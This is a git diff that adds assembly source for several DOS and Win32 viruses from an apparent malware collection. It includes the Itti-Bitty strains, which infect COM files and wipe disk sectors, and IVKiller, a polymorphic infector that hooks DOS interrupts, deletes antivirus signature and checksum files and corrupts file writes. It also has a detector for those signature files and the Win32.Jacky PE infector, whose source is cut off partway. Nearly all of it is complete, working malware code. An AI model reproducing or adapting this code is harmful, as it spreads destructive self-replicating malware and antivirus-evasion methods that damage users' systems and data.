cl,0ff ; Mudar direccao + inc cl +coluna_2: cmp dl,ds:colunas ; Colunas = numero de colunas ? + jnz esta_fixe + xor cl,0ff ; Mudar direccao + inc cl +esta_fixe: cmp cx,ds:direccao ; Mesma direccao ? + jnz act_bola + mov ax,ds:carat_attr + and al,7 + cmp al,3 + jnz nao_e + xor ch,0ff + inc ch +nao_e: cmp al,5 + jnz act_bola + xor cl,0ff + inc cl +act_bola: add dl,cl ; Actualizar as coordenadas da bola + add dh,ch + mov ds:direccao,cx + mov ds:coordenadas,dx + mov ah,2 + int 10 + mov ah,8 ; Ler carater para onde vai a bola + int 10 + mov ds:carat_attr,ax + mov bl,ah + cmp byte ptr ds:muda_attr,1 + jnz nao_muda + mov bl,83 ; Novo atributo +nao_muda: mov cx,1 + mov ax,0907 ; Escrever a bola no ecran + int 10 + pop dx + mov ah,2 ; Recolocar o cursor no posicao onde + int 10 ; estava antes de escrever a bola + pop dx + pop cx + pop bx + pop ax + pop ds +velho_8 equ $+1 + jmpf 0:0 +Int_8 endp + +Carat_attr dw ? ; 7fcd +Coordenadas dw 0101 ; 7fcf +Direccao dw 0101 ; 7fd1 +Muda_attr db 1 ; 7fd3 +Modo_pag dw ? ; 7fd4 +Colunas db ? ; 7fd6 + +; Os bytes que se seguem destinam-se a reservar espaco para o stack + +Virus ENDS + +END begin + \ No newline at end of file diff --git a/i/ITTI-A.ASM b/i/ITTI-A.ASM new file mode 100755 index 0000000..0c12042 --- /dev/null +++ b/i/ITTI-A.ASM @@ -0,0 +1,124 @@ +; Itti-Bitty Virus, Strain A +; The world's smallest virus (except for Strain B, but still only 161 bytes) +; +; (C) 1991 Nowhere Man and [NuKE] WaErZ +; Written by Nowhere Man + + title "The Itti-Bitty Virus, Strain A: The smallest virus ever" + + code segment 'CODE' + assume cs:code,ds:code,es:code,ss:code + + org 0100h + +code_length equ finish - start + +start label near + +id_bytes proc near + mov si,si ; Serves no purpose: our ID +id_bytes endp + +main proc near + mov ax,0FF0Fh ; Virex installation check function + int 021h + cmp ax,0101h ; Is Virex loaded? + je exit_virus ; If so, then bail out now + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds attribute mask + mov dx,offset com_spec ; DX points to "*.COM" + +file_loop: int 021h + jc go_off ; If there are no files, go off + + call infect_file ; Try to infect found file + jne exit_virus ; Exit if successful + + mov ah,04Fh ; DOS find next file function + jmp short file_loop ; Repeat until out of files + +exit_virus: mov ah,9 ; DOS display string function + mov dx,offset fake_error ; DX points to fake error message + int 021h + + mov ax,04C01h ; DOS terminate function, code 1 + int 021h +main endp + +go_off proc near + cli ; Prevent all interrupts + + mov ah,2 ; AH holds drive number (C:) + cwd ; Start with sector 0 (boot sector) + mov cx,0100h ; Write 256 sectors (fucks disk) + int 026h ; DOS absolute write interrupt + + jmp $ ; Infinite loop; lock up computer +go_off endp + +infect_file proc near + mov ax,04301h ; DOS set file attributes function + xor cx,cx ; Clear all attributes + mov dx,09Eh ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, read-write + int 021h + + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,2 ; CX holds byte to read (2) + mov dx,offset buffer ; DX points to buffer + int 021h + + cmp word ptr [buffer],0F68Bh ; Are the two bytes "MOV SI,SI" + pushf ; Save flags + je close_it_up ; If not, then file is OK + + cwd ; Zero CX \_ Zero bytes from start + mov cx,dx ; Zero DX / + mov ax,04200h ; DOS file seek function, start + int 021h + + mov ah,040h ; DOS write to file function + mov cx,code_length ; CX holds virus length + mov dx,offset start ; DX points to start of virus + int 021h + +close_it_up: mov si,095h + lodsb + push ax ; Save file's attributes for later + lodsw + xchg cx,ax ; CX holds [096h] + lodsw + xchg dx,ax ; DX holds [098h] + mov ax,05701h ; DOS set file time function + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attributes function + pop cx ; CX holds file's old attributes + mov dx,09Eh ; DX points to victim's name + int 021h + + popf ; Restore flags + ret ; Return to caller + +buffer dw ? ; Buffer to hold test data +infect_file endp + + +; Initialized data goes here + +com_spec db "*.COM",0 ; What to infect: all COM files + +fake_error db "EXEC failure",13,10,"$" ; Fake error message + +finish label near + +code ends + end id_bytes \ No newline at end of file diff --git a/i/ITTI-B.ASM b/i/ITTI-B.ASM new file mode 100755 index 0000000..8f6886c --- /dev/null +++ b/i/ITTI-B.ASM @@ -0,0 +1,96 @@ +; The Itti-Bitty Virus, Strain B +; The smallest virus ever written (only 99 bytes) +; +; (C) 1991 Nowhere Man and [NuKE] WaErZ +; Written by Nowhere Man +; +; + + title "The Itti-Bitty Virus, Strain B: Even smaller" + + code segment 'CODE' + assume cs:code,ds:code,es:code,ss:code + + org 0100h + +code_length equ finish - start + +start label near + +id_bytes proc near + mov si,si ; Serves no purpose: our ID +id_bytes endp + +main proc near + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds attribute mask + mov dx,offset com_spec ; DX points to "*.COM" + +file_loop: int 021h + jc go_off ; If there are no files, go off + + call infect_file ; Try to infect found file + jne exit_virus ; Exit if successful + + mov ah,04Fh ; DOS find next file function + jmp short file_loop ; Repeat until out of files + +exit_virus: mov ax,04C01h ; DOS terminate function, code 1 + int 021h +main endp + +go_off proc near + cli ; Prevent all interrupts + + mov ah,2 ; AH holds drive number (C:) + cwd ; Start with sector 0 (boot sector) + mov cx,0100h ; Write 256 sectors (fucks disk) + int 026h ; DOS absolute write interrupt + + jmp $ ; Infinite loop; lock up computer +go_off endp + +infect_file proc near + mov ax,03D02h ; DOS open file function, read-write + mov dx,09Eh ; DX points to the victim + int 021h + + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,2 ; CX holds byte to read (2) + mov dx,offset buffer ; DX points to buffer + int 021h + + cmp word ptr [buffer],0F68Bh ; Are the two bytes "MOV SI,SI" + pushf ; Save flags + je close_it_up ; If not, then file is OK + + cwd ; Zero CX \_ Zero bytes from start + mov cx,dx ; Zero DX / + mov ax,04200h ; DOS file seek function, start + int 021h + + mov ah,040h ; DOS write to file function + mov cx,code_length ; CX holds virus length + mov dx,offset start ; DX points to start of virus + int 021h + +close_it_up: mov ah,03Eh ; DOS close file function + int 021h + + popf ; Restore flags + ret ; Return to caller + +buffer dw ? ; Buffer to hold test data +infect_file endp + + +; Initialized data goes here + +com_spec db "*.COM",0 ; What to infect: all COM files + +finish label near + +code ends + end id_bytes \ No newline at end of file diff --git a/i/IVDETECT.ASM b/i/IVDETECT.ASM new file mode 100755 index 0000000..af9f04c --- /dev/null +++ b/i/IVDETECT.ASM @@ -0,0 +1,143 @@ +; +; InVircible Signature File Scanner for v6.02, (c)1995 irogen [NuKE] +; +; Zvi changed his signature files a little in v6.02; although all the +; documentation says that he changed it in v6.01d, I never noticed a change +; until this new version. Anywayz, what he did was simply change his little +; verification word to one that my previous algorithm would think was a false +; positive. Namely 'MZ', 'PK', and 60EAh (which corresponds to EXE headers, +; PKZIP archives, and ARJ archives, respectively). So, since we can't just +; look at the first word of the file, else we'll have many false positives, +; we simply check the next record (42h bytes) for a valid signature. If both +; records contain a valid signature then it's almost definatly an invircible +; signature file. +; +; This utility is an example of how to detect InVircible signature files. +; It skips files larger than 16896 bytes, as it's unlikely that a signature +; file will contain more than 256 different entries and the speed increase +; is definatly of worth in a virus. To use, just run it and it'll scan all +; files in the current directory for InVircible signatures. +; +; + +segment cseg + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +max_size equ 256*66 ; maximum size of file to scan +lf equ 0ah +cr equ 0dh + +org 100h +start: + lea dx,vanity ; credz.. + call disp + mov ah,1ah + lea dx,ff_info + int 21h ; set DTA + xor bp,bp + xor cx,cx + lea dx,filespec + mov ah,4eh + int 21h ; find first + jnc find_loop + jmp exit +find_loop: + inc bp ; bp is our counter + lea dx,msg1 ; display 'Testing:' + call disp + lea dx,f_name + push dx + call disp ; display file name + mov ax,3d00h ; open file + pop dx + int 21h + jnc no_error + lea dx,error + call disp + jmp not_iv +no_error: + xchg ax,bx ; get handle + xor cx,cx + xor dx,dx + mov ax,4202h + int 21h ; get file size + cmp dx,0 + jnz close + cmp ax,max_size ; file too big? + jae close + xor cx,cx + xor dx,dx + mov ax,4200h + int 21h ; reset file pointer + mov ah,3fh ; read first 44h bytes + mov cx,44h + lea dx,buf + int 21h + cmp ax,44h ; was there only one record? + jz close + mov ax,word ptr buf ; if so simulate second record + mov word ptr buf[42h],ax +close: + mov ah,3eh ; close + int 21h + lea di,buf + call chk_iv + jnz not_iv + lea di,buf[42h] + call chk_iv + jnz not_iv + lea dx,is_iv ; display affirmatice + call disp +not_iv: + mov ah,4fh ; find next + int 21h + jc exit + jmp find_loop + +exit: + cmp bp,0 ; find any files? + jnz some_done + lea dx,no_files ; if not, display a msg + call disp +some_done: + lea dx,done + call disp + ret + +chk_iv: + cmp word ptr [di],0EA60h ; check record + jz yea_iv + cmp word ptr [di],'KP' + jz yea_iv + cmp word ptr [di],'ZM' +yea_iv: + ret + +disp: ; displays null terminated string via + mov cx,0ffh ; DOS + mov di,dx + xor ax,ax + repnz scasb ; search for null + dec di + push di + mov byte ptr [di],'$' ; replace with '$' + mov ah,9 + int 21h + pop di + mov byte ptr [di],0 ; reset null + ret + +vanity db cr,lf,'' + db cr,lf,' InVircible v6.02 Signature File Detector, (c)1995 irogen [NuKE]' + db cr,lf,'',cr,lf,0 +msg1 db cr,lf,'Testing File: ',0 +no_files db cr,lf,' No files found!',cr,lf,0 +is_iv db cr,lf,' Is an Invircible Signature File!',0 +error db cr,lf,' Error Opening! Is this file in the current dir?',0 +done db cr,lf,cr,lf,' Scan Complete.',cr,lf,0 +filespec db '*.*',0 +ff_info db 30 dup(0) +f_name db 13 dup(0) +buf db 44h dup(0) +cseg ends + end start diff --git a/i/IVKILLER.ASM b/i/IVKILLER.ASM new file mode 100755 index 0000000..a13175a --- /dev/null +++ b/i/IVKILLER.ASM @@ -0,0 +1,479 @@ + +; - +; IVKiller - (c)1995 irogen - Using iCE v0.2 +; - +; +; This is yet another virus in what I call my Feb '95 series. Anywayz, this +; virus's main point is that it candelete Invircible signature files. +; Something I haven't seen included with any other viruses. +; +; Polymorphic utilizing ViCE v0.2. JMPS on, Anti-TBSCAN on. +; Infects COM and EXE when executed. +; COM Infection marker: fourth byte is 0 +; EXE infection marker: Checksum in header not equal to 0. +; Time/Date do not change +; Read-only and hidden files will be infected, and attributes restored. +; Virus installs its own critical error handler +; Deletes MSAV/CPAV CHecksum filez.. +; Deletes Invircible Signature files +; Activates on the second of any month, at which time it will phuck +; up all file writes using INT 21h/func 40h. +; + + +cseg segment + assume cs:cseg, ds:cseg, es:cseg, ss:cseg + +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +special equ 11h +act_day equ 3 +buf_size equ 170 +vice_size equ 1587+buf_size +virus_size equ (offset vend-offset start)+VICE_SIZE +extrn _vice:near + +org 0h +start: + + push ds es + inc si + mov ax,1000h ; looks like legit. INT call.. + add ax,signal-1000h ; are we memory resident? + mov dx,vsafe_word + mov bl,special + int 21h + call nx ; get relative offset + nx: pop bp + sub bp,offset nx + or si,si + jz no_install ; if carry then we are + + call crypt ; decrypt the next few bytez +c_start: + mov cs:activate[bp],0 + mov ah,2ah ; get date + int 21h + cmp dl,act_day ; + jnz no_act + mov cs:activate[bp],1 +no_act: + + mov ax,ds ; PSP segment + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB + sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,virus_size/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem +c_end: +no_install: + + pop es ds ; restore ES DS + cmp cs:is_exe[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + mov cx,2 + rep movsw + + mov ax,100h ; jump back to 100h + push ax +_ret:ret + + exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs:[exe_jump+2+bp],cx + int 3 ; fix prefetch + db 0eah +exe_jump dd 0 +is_exe db 0 + +; +; Crypts portion of virus +; +crypt_res: + xor bp,bp +crypt: + lea si,c_start + add si,bp + mov cx,(offset c_end-offset c_start) + add byte ptr cs:xor_op[bp],10h ; self modifying code... + int 3 ; fix prefetch +l1: + db 2Eh +xor_op db 70h,34h ; tbscan won't flag this bitch +xor_val db 0 + inc si + loop l1 + sub byte ptr cs:xor_op[bp],10h ; unmodify code + ret + +; +; Infection routine - called from INT 21h handler. +; DS:DX=fname +; + +infect_file: + + int 3 + push dx + pop si + + push ds + xor ax,ax ; null ES + mov es,ax + lds ax,es:[24h*4] ; get INT 24h vector + mov cs:old_24_off,ax ; save it + mov cs:old_24_seg,ds + mov es:[24h*4+2],cs ; install our handler + mov es:[24h*4],offset new_24 + pop ds + push es ; we'll need it later + push cs + pop es + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs + push ax cx ; save AX-call/CX-attrib + xor cx,cx + int 21h + + mov ax,3d02h ; open the file + int 21h + jc dont_do + + mov bx,ax ; get handle + + push cs + pop ds + + call kill_chklst ; kill MSAV and CPAV checksum files + call kill_iv ; kill Invircible Signature Files + + mov ah,3fh ; Read first bytes of file + mov cx,20h + lea dx,org_bytes + int 21h + + cmp byte ptr org_bytes,'M' ; single byte avoids heuristic flag + jz do_exe + cmp byte ptr org_bytes+3,0 + jz close + + mov is_exe,0 + + mov ax,5700h ; get time/date + int 21h + push cx dx + + call offset_end + push ax ; AX=end of file + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor/ + push di ; encrypted code. (at heap) + mov cx,virus_size ; CX=virus size + mov dx,ax ; DX=EOF offset + add dx,100h ; DX=offset decryptor will run from + mov al,00001111b ; jmps,anti-tbscan, garbage, no CS: + call _vice ; call engine! + + pop dx + mov ah,40h + int 21h + + call offset_zero + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax + + lea dx,new_jmp + mov cx,4 + mov ah,40h + int 21h + + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + + close: + + pop cx ax ; restore attrib + int 21h + + call close_phile + + dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es:[24h*4],ax + mov es:[24h*4+2],ds + + ret + + do_exe: + + cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0? + jnz close + cmp byte ptr exe_header[18h],52h ; pklite'd? + jz exe_ok + cmp byte ptr exe_header[18h],40h ; don't infect new format exe + jge close +exe_ok: + push bx + + mov ah,2ch ; grab a random number + int 21h + mov word ptr exe_header[12h],dx ; mark that it's us + mov is_exe,1 + + les ax,dword ptr exe_header+14h ; Save old entry point + mov word ptr ds:exe_jump, ax + mov word ptr ds:exe_jump+2, es + + push cs + pop es + + call offset_end + + push dx ax ; save file size DX:AX + + mov bx, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *16 + shl bx,cl ; ^by shifting one byte + sub ax,bx ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide AX/CX rDX + div cx + + mov word ptr exe_header+14h,dx + mov word ptr exe_header+16h,ax + mov rel_off,dx + + pop ax ; AX:DX file size + pop dx + pop bx + + mov cx,virus_size+10h ; calc. new size + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax ; ax=size+virus + and ah,1 + + mov word ptr exe_header+4h,dx + mov word ptr exe_header+2h,ax + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor and + push di ; encrypted code (at heap) + mov cx,virus_size ; CX=virus size + mov dx,rel_off ; DX=offset decryptor will run from + mov al,00001110b ; jmps,anti-tbscan,garbage, use CS: + call _vice ; call engine! + + pop dx + mov ah,40h + int 21h + + call offset_zero + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp close + +; +; set file ptr + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h + set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + +; +; close file +; +close_phile: + mov ah,3eh + int 21h + ret + +; +; Kill those darned MSAV and CPAV filez.. +; +kill_chklst: + mov di,2 ; counter for loop + lea dx,first_2die ; first fname to kill +kill_loop: + call delete_phile + lea dx,last_2die ; second fname to kill + dec di + jnz kill_loop + + ret +first_2die db 'CHKLIST.MS',0 ; MSAV shitty checksum +last_2die db 'CHKLIST.CPS',0 ; CPAV shitty checksum + +; +; Resets attribs then deletes phile -> DS:DX +; +delete_phile: + + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h + int 21h + ret +; +; Set DTA +; + set_dta: + mov ah,1ah + int 21h + ret + +; +; Kill Invircible Signature Files +; +kill_iv: + push bx + lea dx,ff_info + call set_dta + lea dx,filespec + xor cx,cx + mov ah,4eh + int 21h ; find first + jc done_with_iv +find_loop: + lea dx,ff_name + mov ax,3d00h ; open file + int 21h + jc not_iv ; if error opening then skip + xchg ax,bx ; get handle + mov ah,3fh ; read first word + mov cx,2 + lea dx,killiv_buf + int 21h + call close_phile + mov ax,word ptr killiv_buf + cmp ax,0FEA1h ; is iv? + jz yea_iv + cmp ax,0C307h ; is iv? + jz yea_iv + cmp ax,086BBh ; is iv? + jnz not_iv +yea_iv: + lea dx,ff_name + call delete_phile ; delete the phucker +not_iv: + mov ah,4fh ; find next + int 21h + jnc find_loop +done_with_iv: + pop bx + ret + +killiv_buf dw 0 +filespec db '*.*',0 +ff_info db 30 dup (0) +ff_name db 13 dup (0) + + +; +; new 21h + +new21: + + pushf + cmp ax,signal ; be it us? + jnz not_us ; richtig.. + cmp dx,vsafe_word + jnz not_us + cmp bl,special + jnz not_us + xor si,si + mov di,4559h + jmp jmp_org +not_us: + cmp cs:activate,0 ; time to activate? + jz nchk + cmp ah,40h ; write to phile? + jnz jmp_org + xor dx,dx ; phuck up address.. +nchk: cmp ax,4b00h ; execute phile? + jnz jmp_org + + push ax bx cx di dx si ds es bp dx + mov ah,2ch ; grab random for cryptor + int 21h + mov byte ptr cs:xor_val,dl + pop dx + call crypt_res + call infect_file + call crypt_res + pop bp es ds si dx di cx bx ax + + jmp_org: + popf + db 0eah ; jump far XXXX:XXXX + old21 dd 0 + + +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + + +activate db 0 +txt_ptr dw offset credits +credits db '[IvKiller, by irogen]' +credit_end: +new_jmp db 0E9h,0,0,0 ; jmp XXXX,0 +rel_off dw 0 +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +heap: +db 16h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +vend: +cseg ends + end start + diff --git a/j/JACKY.ASM b/j/JACKY.ASM new file mode 100755 index 0000000..ccd07db --- /dev/null +++ b/j/JACKY.ASM @@ -0,0 +1,1148 @@ +; +; +; Win32.Jacky.1440 +; by Jacky Qwerty/29A +; +; +; +; Hello ppl, welcome to the first "Winblowz" 95/NT fully compatible virus. +; Yea i didnt mistype above, it reads "Win32" not "Win95" coz this babe is +; really a "genuine" Win32 virus, which means it should be able to infect +; any Win32 based system: Windoze 95, Windoze NT or Win32s. For some known +; reasonz that i wont delve in detail here, previous Win95 virusez were una- +; ble to spread succesfully under NT. The main reasonz were becoz they asu- +; med KERNEL32 bein loaded at a fixed base adress (not true for NT or even +; future Win95 updatez) and they also made a "guess" about where the Win32 +; API functionz were located inside the KERNEL32 itself. +; +; This virus does NOT rely on fixed memory positionz or absolute adressez in +; order to run and spread. It always works at the Win32 API level, not play- +; in its trickz "under the hood". This proves enough for the virus to spread +; succesfully on NT, asumin the user has enough rightz, of course. +; +; Unfortunately, this virus didnt make it as the first Windoze NT virus for +; the media. AVerz said they didnt have an NT machine available for virus +; testin, so they simply didnt test it under NT. Well ehem, thats what they +; said #8S. In the past summer however i finished the codin of Win32.Cabanas +; which is a far superior virus with much more featurez than its predecesor. +; This time, the guyz from Datafellowz and AVP made serious testz with Caba- +; nas under NT until they finally concluded: "Oh miracle! it is able to work +; under NT!". So acordin to the media, Win32.Cabanas is the first WinNT vi- +; rus and not Win32.Jacky as it should have been. Anywayz.. +; +; +; Technical description +; +; When Win32.Jacky executes, it first looks for KERNEL32 base adress usin +; the GetModuleHandleA API right from the host import table and then it re- +; trieves all other file API function adressez by usin the GetProcAdress API +; also from the import table. These APIz are not inserted by the virus when +; infection, they are only used if they already existed there (very likely), +; but this is not a "must do" for the virus to work tho. After all Win32 API +; functionz needed by the virus have been located, it looks for PE (EXE) fi- +; lez in the current directory and infects them one by one. +; +; When infection starts, each EXE file is opened and maped in shared memory +; usin the "file mapin" API functionz provided by KERNEL32. This proves to +; be a great advance regardin file functionz as it clearly simplifies to a +; large extent the infection process and file handlin in general. After the +; PE signature is detected from the maped file, the virus inspects its im- +; port table lookin for the GetModuleHandleA and GetProcAddress APIz inside +; the KERNEL32 import descriptor. If this module is not imported, the file +; is left alone and discarded. If the GetProcAddress API is not found, the +; virus (later on when it executes) will call its own internal GetProcAd- +; dressET function, which simply inspects the KERNEL32 export table lookin +; for any specified Win32 API function. If GetModuleHandleA is not found the +; file will still get infected but then the virus, in order to find the KER- +; NEL32 base adress, will be relyin on a smoewhat undocumented feature (che- +; cked before use). This feature is very simple: whenever a PE file with un- +; bound KERNEL32 function adressez is loaded, the Win95 loader puts the KER- +; NEL32 adress in the ForwarderChain field of the KERNEL32 import descrip- +; tor. This also works in Win95 OSR2 version but doesnt work on WinNT tho, +; so it should be used with some care after makin some sanity checkz first. +; +; If the GetModuleHandleA and GetProcAddrss APIz are found, the virus will +; hardcode their IAT referencez inside the virus code, then later on when +; the virus executes, it will have these API referencez already waitin to be +; called by the installation code. After the latter API search is done, the +; virus copies itself to the last section in the file, modifies the section +; atributez to acomodate the virus code and finally changes the EntryPoint +; field in the PE header to point to the virus code. The virus doesnt change +; or modify the time/date stamp of infected filez nor it is stoped by the +; "read only" atribute. +; +; +; AVP description +; +; Before jumpin to the source code, lets read what AVP has to say about the +; virus. Unfortunately as u will see they didnt test the thing on NT, other- +; wise they would have had a big surprise with it hehe #8D +; +; (*) Win95.Jacky - http://www.avp.ch/avpve/newexe/win95/jacky.stm * +; +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 +; It is a harmless nonmemory resident parasitic Win95/NT virus 1440 +; bytes of length. Being executed the virus scans Win95/NT kernel and +; gets undocumented addresses of system file access function (see the +; list below). Then it searches for NewEXE Portable Executable +; (Win95 and NT) files and writes itself to the end of the file. The +; virus aligns the file length to the section, so the file lengths +; grows more that 1440 bytes while infection. +; +; This is the first known Win95/NT parasitic virus that does not add +; new section to the file - while infecting a file the virus writes +; itself to the end of the file, increases the size of last section +; in the file, and modifies characteristics of this section. So, +; only entry point address, size and characteristics of last section +; are modified in infected files. +; +; This is also first known to me Win95/NT infector that did work on +; my test computer (Windows95) without any problem. I did not try it +; under NT. +; +; The virus contains the encrypted strings, a part of these strings +; are the names of system functions that are used during infection: +; +; KERNEL32 GetModuleHandleA GetProcAddress +; *.EXE +; CreateFileA CreateFileMappingA CloseHandle UnmapViewOfFile +; MapViewOfFile FindFirstFileA FindNextFileA FindClose +; SetFileAttributesA SetFilePointer SetEndOfFile SetFileTime +; +; To My d34d fRi3nD c4b4n4s.. +; A Win/NT/95 ViRuS v1.00. +; By: j4cKy Qw3rTy / 29A. +; jqw3rty@cryogen.com +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 +; +; +; Greetingz +; +; And finaly the greetinz go to: +; +; Mr.Chan, Wai ......... Thx for your help and advice.. master! +; MrSandman/29A ........ erm.. when will 29A#2 go out? hehe ;) +; QuantumG ............. What about yer NT resident driver idea? +; DarkSide1 ............ We are Southamerican rockerzzz! +; GriYo/29A ............ Implant poly rulez! +; +; +; Disclaimer +; +; This source code is for educational purposez only. The author is not res- +; ponsible for any problemz caused due to the assembly of this file. +; +; +; Compiling it +; +; tasm32 -ml -m5 -q -zn w32jacky.asm +; tlink32 -Tpe -c -x -aa w32jacky,,, import32 +; pewrsec w32jacky.exe +; +; +; (c) 1997 Jacky Qwerty/29A. + + +.386p +.model flat ;whoaa.. no more segmentz + +;Some includez containin very useful structurez and constantz for Win32 + +include Useful.inc +include Win32API.inc +include MZ.inc +include PE.inc + +;Some equ's needed by the virus + +work_size equ 4000h ;size to grow up memory maped file +size_pad equ 101 ;size paddin to mark infected filez +v_size equ v_end - v_start ;virus absolute size in filez + +extrn GetModuleHandleA :proc ;APIs used durin first generation only +extrn GetProcAddress :proc + +.data + db ? ;some dummy data so tlink32 dont yell + +.code + +;Virus code starts here + +v_start: + + push eax ;make space to store return adress + pushad ;save all + call get_deltaz ;here we go + +;API namez needed by the virus. They will travel in encrypted form + +ve_stringz: + +veszKernel32 db 'KERNEL32',0 +veszGetModuleHandleA db 'GetModuleHandleA',0 +veszGetProcAddress db 'GetProcAddress',0 + +eEXE_filez db '*.EXE',0 ;filez to search + +veszCreateFileA db 'CreateFileA',0 +veszCreateFileMappingA db 'CreateFileMappingA',0 +veszCloseHandle db 'CloseHandle',0 +veszUnmapViewOfFile db 'UnmapViewOfFile',0 +veszMapViewOfFile db 'MapViewOfFile',0 +veszFindFirstFileA db 'FindFirstFileA',0 +veszFindNextFileA db 'FindNextFileA',0 +veszFindClose db 'FindClose',0 +veszSetFileAttributesA db 'SetFileAttributesA',0 +veszSetFilePointer db 'SetFilePointer',0 +veszSetEndOfFile db 'SetEndOfFile',0 +veszSetFileTime db 'SetFileTime',0 + +eEndOfFunctionNames db 0 + +;An epitaph to a good friend of mine (not a "junkie" Pete) + +db 'To My d34d fRi3nD c4b4n4s..',CRLF +db 'A Win/NT/95 ViRuS v1.00. ',CRLF +db 'By: j4cKy Qw3rTy / 29A. ',CRLF +db 'jqw3rty@cryogen.com',0 + +ve_string_size = $ - ve_stringz + +crypt: lodsb ;decrypt API stringz + rol al,cl + not al + stosb + loop crypt + ret + +get_deltaz: + + mov ecx,ve_string_size + pop esi ;get pointer to ve_stringz + cld + lea ebp,[esi + v_end - ve_stringz] ;get pointer to virus end + lea eax,[esi + v_start - ve_stringz] + mov edi,ebp + stosd ;save pointer to virus start + add eax,- 12345678h +delta_host = dword ptr $ - 4 + stosd ;save current host base adress + lea edi,[ebp + v_stringz - v_end] ;get pointer to API namez + sub eax,- 12345678h +phost_start_rva = dword ptr $ - 4 + push edi ;push pointer to "KERNEL32" string + xchg ebx,eax + mov [esp.(Pshd).cPushad.RetAddr],ebx ;save host entry to return + +decrypt_stringz: + + call crypt ;decrypt encrypted API and stringz + call MyGetModuleHandleA ;get KERNEL32 base adress + jecxz jmp_host_2 + mov [ebp + K32Mod - v_end],ecx ;save it + lea esi,[ebp + FunctionNamez - v_end] + lea edi,[ebp + FunctionAddressez - v_end] + +GetAPIAddress: ;get adressez of API functionz used by the virus + + push esi + call MyGetProcAddressK32 ;get API adress + +jmp_host_2: + + jecxz jmp_host + cld + xchg eax,ecx + stosd ;save retrieved API adress + lodsb ;point to next API name + test al,al + jnz $ - 3 + cmp al,[esi] ;end of API namez reached? + jnz GetAPIAddress ;no, get next API adress + + lea ebx,[ebp + FindData - v_end] ;Find filez matchin *.EXE + push ebx + lea eax,[ebp + EXE_filez - v_end] + push eax + call [ebp + ddFindFirstFileA - v_end] ;call FindFirstFileA API + inc eax + jz jmp_host + dec eax + push eax ;save search handle + +Process_File: ;check file and infect it + + lea edx,[ebx.WFD_szFileName] + call Open&MapFile ;open and map file + jecxz Find_Next + xor eax,eax + cmp [ebx.WFD_nFileSizeHigh],eax ;skip filez too large (>1GB) + jnz Close_File + add eax,[ebx.WFD_nFileSizeLow] + js Close_File + add eax,-80h ;skip filez too short + jnc Close_File + call Check_PE_sign ;it has to be a PE file + jnz Close_File + test ah,IMAGE_FILE_DLL shr 8 ;can't have DLL bit + jnz Close_File + xor ecx,ecx + mov eax,[ebx.WFD_nFileSizeLow] ;check if file is infected + mov cl,size_pad + cdq + div ecx + mov esi,edx ;esi == 0, file already infected or not infectable + ;esi != 0, file not infected, i.e. infect it! +Close_File: + + call Close&UnmapFile ;close and unmap file + mov ecx,esi + jecxz Find_Next ;jump and find next file + call Infect ;infect file + +Find_Next: + + pop eax ;find next file + push eax ebx eax + call [ebp + ddFindNextFileA - v_end] + test eax,eax + jnz Process_File + +Find_Close: + + call [ebp + ddFindClose - v_end] ;no more filez, close search + +jmp_host: + + popad ;jump to host + ret + +Infect proc ;blank file attributez, open and map file in r/w mode, + ;infect it, restore date/time stamp and attributez + + lea edx,[ebx.WFD_szFileName] ;get filename + push edx 0 edx + call [ebp + ddSetFileAttributesA - v_end] ;blank file attributez + xchg ecx,eax + pop edx + jecxz end_Infect1 + mov edi,work_size + add edi,[ebx.WFD_nFileSizeLow] + call Open&MapFileAdj ;open and map file in read/write mode + jecxz end_Infect2 + lea esi,[ebp + vszKernel32 - v_end] + lea eax,[ebp + vszGetModuleHandleA - v_end] + push eax esi + lea eax,[ebp + 